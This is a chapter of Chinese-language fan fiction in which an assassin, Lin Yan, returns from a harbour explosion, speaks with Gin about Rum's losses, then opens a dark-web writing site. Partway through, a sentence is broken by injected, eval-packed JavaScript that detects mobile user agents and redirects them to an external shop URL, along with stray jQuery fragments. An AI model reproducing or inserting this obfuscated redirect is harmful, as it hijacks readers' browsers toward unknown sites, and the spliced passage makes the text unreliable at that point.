东京湾上空的那片猩红,在持续了四十七分钟后开始向内收拢。火舌舔舐钢梁的姿态从凶猛转为倦怠,像一头饱食后的猛兽终于放慢了咀嚼的节奏,任由那些扭曲的钢筋在高温中慢慢屈服、弯折、最终坍塌成灰黑色的堆叠物。浓烟被海风压成了贴近水面的扁平带状,贴着黑色海面向东南方向缓慢平移,像一条被扯碎了的、正在不断扩散的裹尸布。对岸的市区灯火在烟幕的遮蔽下显得模糊而遥远,那些霓虹灯牌的光晕在颗粒物的过滤中变成了朦脓的、边缘泛毛的色块,像是隔着磨损的半透明塑料片在看一张旧照片。
林砚站在废弃灯塔的顶层平台。脚下的旋梯铁板在风里发出持续的、低沉的共振,频率大约在五十到六十赫兹之间,贴着脚底传到胫骨,像某种极低的、来自建筑本身的持续嗡鸣。他面朝火场方向站着,两手都插在风衣口袋里,左手掌心攥着那枚银色打火机。打火机的棱角在他握拳的姿势里嵌进掌心的皮肤纹路,留下四道浅浅的、正在迅速消退的压痕。
风从海湾深处灌过来,把他的黑风衣下摆扯成一幅不断变换形状的旗帜,猎猎声在塔顶空旷的空间里拍打了几秒又停歇,然后再次起来。他站在那里没有动。鼻尖和耳廓最先感觉到了表层皮肤温度的流失——夜风在无遮挡的高处带着持续约五米每秒的速度掠过裸露的皮肤,把体表那层由热量形成的薄薄屏障一层一层地剥走,留下一种干净的、属于金属与海水混合气味的凉意。他把那只打火机从口袋里取出来。拇指拨开盖子的声音脆而短,像一枚小石子落进硬质表面。火苗窜起来的那一刻,它被风压得几乎贴着打火机顶端的出火孔水平偏转了七十度,橙色的焰心在气流中持续抖动着,像一个不断被压扁又复圆的、细长的活物。他看了它几秒。火苗没有灭。那些被风吹到弯曲却始终不断裂的火舌边缘,与远处的火光恰好保持着同一种橙色的色温——一个是烛焰的亮度,一个是炼狱的余晖。他把盖子合上。咔嗒。声音在塔顶空旷的环境中传出去很远,然后被风切碎,消散了。
他转身走下旋梯。铁质梯级在他的鞋底下发出规律的回响,每一级之间的音高略有不同——中段的梯级因为锈蚀而稍沉,靠近底部的梯级则偏脆,金属薄片被脚步激活时释放出更短促的振动声。他的耳朵在下降过程中自动把这些音高变化归档为一条可识别的声纹曲线,下次他再走同样的旋梯时,大脑会在潜意识层面完成比对和异常识别。下到底层铁门的位置时,他把打火机收回口袋,推开了锈迹斑斑的栅栏门。门轴缺油,旋转的时候发出一种缓慢的、绵长的金属摩擦声,像被搁置了太久的机械部件终于获得了执行转动指令的机会,声音里几乎带着某种感激。
他绕了很大一圈。先从灯塔沿海岸线往西走了二十分钟,在一处废弃的船只维修点换掉了外层衣物——那件风衣被揉成一团塞进了维修点的废料桶里,然后他穿上一件灰色连帽衫,拉链拉到最高处,帽檐压下。然后搭了夜班公交车的末班车往市区方向走了七站,下车后再步行穿过一条商店街的背巷,从那里转入地铁系统的末班线路,换乘一次,再出站,步行十五分钟。全程耗时一小时四十二分钟,经过三个以上有监控覆盖的公共空间,每一个他都精确地调整了自己的步态和姿势,让摄像头的视角里留下的是一个普通的、身高和体型与林砚接近但不完全一致的模糊身影。
他回到公寓楼下的时间是凌晨两点五十七分。电梯在夜间模式下运行得比白天更安静,马达的噪音被隔音层压到了最低,上升过程中他能听到的只有轿厢与轨道之间的极细微摩擦声。七楼。走廊。门锁。机械锁芯转动的过程他用的是左手的钥匙,因为右手的指纹表面在灯塔的金属栏杆上留下了一些看不见的介质转移,他不想把那些东西带到门把手上。门开了,合上,反锁。
客厅里没有主灯。唯一的光源是角落那盏落地灯,灯泡的功率很低,大约只有十五瓦,照明的范围被局限在沙发与茶几之间的一块椭圆形区域里。光晕之外的房间其余部分沉浸在比暗更暗的暗色中——不是完全的漆黑,而是那种可分辨家具轮廓的、被稀释过的暗。沙发靠背上搭着一件黑色风衣,折痕的走向和它被放置时的姿态表明主人是随手搭上去的,没有叠,没有挂,就是累了之后脱下来往后一放。茶几上放着那把□□M92F,枪身已被拆解到一半,滑套和枪管分开放置在软布旁边,布上有银灰色的金属抛光剂的残留痕迹,在灯光下泛着细碎的、像磨碎的云母一样的反光。
琴酒坐在沙发里。他侧身对着入口方向,右肘支在沙发扶手上,右手握着那块软布,正在慢条斯理地擦拭已经分离开的复进弹簧。他没有抬头。他的拇指沿着弹簧的螺旋纹路以均匀的速度和力度从一端推到另一端,推过去的每一个行程都会在软布上留下一道极细的金属氧化物的深灰痕迹。他的拇指移动的速度很慢,慢到几乎可以被分解成一帧一帧的独立动作,每一次推送都精确地覆盖了相同的表面段,没有漏过任何一圈弹簧纹路。
"你身上有火药味。"他说。声音从他平常的发声位置上提了一格,从胸音换到了较低位的喉音,音量不大,但在只有落地灯亮着的客厅里被放大成了一种占据空间的、具有实感的低沉。
林砚走到吧台前。他脱掉干净的衬衫换上家居服的间隙里,背对着沙发方向完成了这个更换动作。那个过程只有几秒,他的脊柱在俯身和直起的过程中划出一道流畅的曲线,肩胛骨的轮廓在家居服的面料下面动了两次,然后被布料覆盖了。他从酒柜里取出一瓶没开封的威士忌,瓶身的标签在落地灯光线下显出一种沉郁的暗金色。拧开瓶塞的声音在安静的客厅里清晰可辨——瓶口的密封圈被扭开时发出一声短促的、气密的"啵",然后威士忌的香气从瓶颈处缓慢地扩散出来,先是很近,然后逐渐填满了吧台周围一小块空气。冰块从制冰格里脱落的时候带着一种清脆的、干燥的碰击声,两块,大小接近,投入杯底时发出两声几乎重叠的撞击。
"朗姆的人。"林砚说。他把威士忌倒进杯中,琥珀色的液面贴着冰块缓慢上升,冰块在液体中发出微弱的、正在热交换过程中产生的细小开裂声。他没有立刻喝,只是把杯子端到鼻尖下方停了一拍,让酒精蒸气的冷冽气息先通过嗅觉通道走了一圈。
琴酒终于抬头了。那双墨绿色的瞳孔从低垂的视线方向抬起来的角度大约有二十度,目光落在林砚的颈侧。那个位置有一道极浅的、还没有完全消退的红色压痕——是洗衣店塑料椅的靠背边缘在他仰头时留下的。琴酒的视线在那道压痕上停留了恰好一瞬,然后移开,回到手中的弹簧上。
"亲自去的?"
"嗯。"林砚喝了第一口。酒液贴着舌面流过的时候带着尖锐的辛辣,那种温度错觉会让人误以为它是烫的,直到它顺着食道落入胃里才显露出实际很低的、近乎冰冷的温度。"他太急了。急到没有做反爆破清场。"
琴酒把复进弹簧装回枪身。他的动作在重新组装的过程中变得比刚才更流畅了,拆解时的仔细和慢速被替换成了一种几乎不需要视觉指引的、纯手感驱动的操作节奏。滑套归位的时候发出一声清脆而肯定的"咔嗒"。他把组装完的枪放回茶几上,枪身在木质表面上搁稳之后,他整个人向沙发靠背的方向陷下去了几厘米,那是一个微小的、从任务状态切换到休息状态的姿态调整。
"Boss那边,"他说,"我去说。"
这句话的收束方式没有留任何追问的余地。那扇门已经在句子末尾被关上了——朗姆这次损失了十三个人加一座造船厂,但琴酒不会让这件事变成一个在组织内部被公开讨论的案例。他会把它处理成"一次顺利的情报清剿行动",被清除的对象和信息都会被重新归档,朗姆的失败会被转写成某种模糊的、无法被追责的"外部不可控因素"。
琴酒站起来的动作比平时慢了一点。那一点点慢是经过仔细权衡的——如果起身的速度太快,那会像某种过度的关切,而他不会允许自己的肢体语言泄露任何可以被解读为"关心"的信息。他走到林砚面前停住了,两人之间的距离大约是一臂的长度
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834189|211371||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,刚好足够让林砚闻到他身上那种混合了枪油、皮革和烟草的、稳定的、属于琴酒的体味。他的目光从林砚的瞳孔扫过,从左到右,速度均匀——那是一个在确认对方精神状态的操作。确认完毕之后他把视线移开了,移向林砚身后那扇被夜色浸透的窗户。
"做得很好。"四个字。他的声带在发出"好"字的时候产生了一段极其轻微的、接近共振峰偏移的变化,那个变化太短了,短到只有林砚这种级别的人才能注意到那是"好"字的尾音被某个更深层的情绪微微抬高了半度。那半度等于没有。但它确实存在过。
琴酒没有举杯。他只是看了林砚一眼,那一眼里没有任何可以被翻译成文字的信息。然后他转身,向玄关走去,脚步在地板上的落点与平时完全一致,走到门口时他停顿了大约一秒,手搭在门把手上,后背朝着客厅方向。
"明天有新的。"
门开了,合上,锁芯转动了一整圈。走廊里的脚步声按照预期的方向和速率衰减到消失。整间公寓重新回到落地灯主导的、安静的、狭窄的暖黄光晕之中。
林砚独自站在吧台边。杯子里的威士忌已经下去了大约一指的高度,冰块融化了小半,在杯底形成了一层比威士忌密度更低的无色液体,正在缓慢地向表面上升。他看着那两层液体之间逐渐模糊的界面,看了好一会儿。
然后他放下杯子,走到书桌前坐下。椅面的皮革在他坐下去的时候发出了熟悉的、被长期使用后形成的摩擦声。他掀开银灰色笔记本电脑的屏幕。铰链的阻尼在今天夜里感觉稍微紧了一些——也许是气温变化导致的金属收缩,也许是他的手指比平时敏感了零点几度。屏幕亮起来的时候,暗蓝色的光在他脸上展开成一片均匀的、冷调的光层,在他瞳孔里映出两枚长方形的光斑。他把亮度调到了最低档,那种暗蓝变成了近似于月光落在深色布料上的那种色泽。
暗网浏览器启动。他的手指在键盘上打出的第一个字是"夜",第二个是"枭"。登录页面加载的速度比平时快了零点几秒——服务器负载在凌晨时段本来就更低。页面打开时,评论区的最新留言在右侧边栏里滚动着。最后一条是在两小时前留的,内容是简单的四个字:【等您新作】。
他把那条留言看了两遍。第二遍的时候他的视线在那四个字的排列上停留了更久一些——那是一个无痕的访客账号,没有头像没有签名,注册时间在七天前,没有发布过任何其他内容。一条干净的、没有痕迹的钓线。他把它归入了待观察类别的那个心智文件夹里,没有点开回复框。
光标在新文档的标题栏里闪烁。每分钟大约闪烁六十次,那种频率在他视网膜上留下极轻微的、反复被刷新又熄灭的脉冲。他在标题栏里打下了第一个字。然后是第二个。第三个。一共十一个字。
《猎人与猎物:终章》。
他打下最后一个字的时候,指尖在回车上悬停了大约两秒。然后他按了下去。光标跳到了正文的第一行,以一种耐心的、等待的、不催促的姿态,在第一行最左端的起始位置不断闪烁。
窗外的夜色终于开始松动。东方的天际线极远处,有一层比黑稍浅一丁点的灰蓝色正在从海平线的位置缓慢地渗透上来,速度太慢了,像是有人在用非常细的笔蘸了那层颜色,一笔一笔地擦亮天空的最底部。
林砚靠在椅背里。他的身体还是暖的,头发还是湿的——洗衣店烘干的只是衣服,头发上一整天的海风和雨雾在他回到公寓后仍然散发着一种潮湿而清冷的气味。他的右臂搭在书桌边缘,手指落在桌面上,以每分钟约七十次的频率极其轻微地、几乎不可见地叩击着木纹。
光标还在闪。黑夜还在变薄。他还没有开始写正文,只是安静地坐在那里,让自己的指尖距离那排等待被敲击的字母键,只隔着不到三公分的、充满不确定性的空气。
这一章,他要写的比他之前任何一本都要深。因为终章不能只有结局——终章还要告诉所有读过前文的人,从头到尾,真正的猎手究竟是谁。